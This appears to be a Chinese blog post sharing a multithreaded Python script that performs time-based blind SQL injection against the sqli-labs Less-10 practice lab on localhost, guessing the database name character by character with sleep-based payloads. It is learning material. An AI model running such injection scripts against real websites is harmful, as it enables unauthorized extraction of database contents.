sql-lib-10-time based -double多线程队列脚本(只针对爆库)

本文分享了一个基于ADO老师代码思路的手写Python示例,通过多线程技术实现对目标网站数据库名称的爆破,展示了如何利用requests库进行HTTP请求,使用正则表达式解析响应内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

参照ichunqiu的ADO老师的代码思路写了一个只爆库的例子

import requests
import time
import queue
import threading
import re


result=''

class DoRun(threading.Thread):
    def __init__(self,que):
        threading.Thread.__init__(self)
        self._queue=que

    def run(self):
        while not self._queue.empty():
            url=self._queue.get_nowait()
            self.sleepdatabase(url)


    def sleepdatabase(self,url):

        ptime=time.time()
        res=requests.get(url)
        ntime=time.time()
        gaptime=ntime-ptime
        if gaptime<5:
            i = re.findall('database\(\),\w,1\)=%22(.*?)%22', res.url)
            global result
            result=result+"".join(i)
            print(result)


def main():
    print("Main thread started !")
    threads=[]
    thread_count=10

    que=queue.Queue()
    test = "asebrjcuitxy"
    for j in range(1, 10):
        for i in test:
            que.put('http://127.0.0.1:81/sqli-labs-master/sqli-labs-master/Less-10/?id=1" and if(substr(database(),%s,1)="%s",1,sleep(5))--+'%(j,i))


    for i in range(thread_count):
        #t=threading.Thread(target=sleepdatabase)
        threads.append(DoRun(que))

    for i in range(thread_count):
        threads[i].start()

    for i in range(thread_count):
        threads[i].join()

    print("Main thread done !")


if __name__=="__main__":
    main()

准备从今天开始记录一些自己手写或转载的菜鸡代码,如转载会注明出处。
再次感谢ADO老师!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值